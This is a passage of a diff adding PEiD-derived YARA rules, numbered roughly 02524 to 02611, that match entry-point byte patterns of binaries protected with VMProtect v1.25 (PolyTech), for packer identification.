+        $a
+}
+
+rule PEiD_02524_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02525_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02526_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a
+}
+rule PEiD_02527_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02528_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02529_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02530_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02531_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02532_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02533_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02534_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02535_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02536_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02537_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02538_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02539_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_02540_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9}
+    condition:
+        $a
+}
+rule PEiD_02541_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02542_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02543_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02544_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02545_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 46 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02546_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02547_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_02548_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02549_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02550_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02551_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02552_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02553_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02554_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02555_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02556_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02557_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 46 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02558_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02559_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+rule PEiD_02560_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02561_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02562_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02563_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 46 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02564_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02565_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02566_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 46 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02567_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02568_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_02569_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02570_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02571_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02572_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02573_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02574_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02575_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02576_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+rule PEiD_02577_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02578_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02579_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02580_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02581_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02582_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_02583_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02584_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02585_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02586_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02587_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02588_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02589_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+rule PEiD_02590_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02591_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02592_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02593_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02594_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02595_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02596_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a
+}
+rule PEiD_02597_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02598_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_02599_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02600_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02601_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02602_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02603_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02604_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02605_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02606_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02607_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02608_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02609_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02610_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02611_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
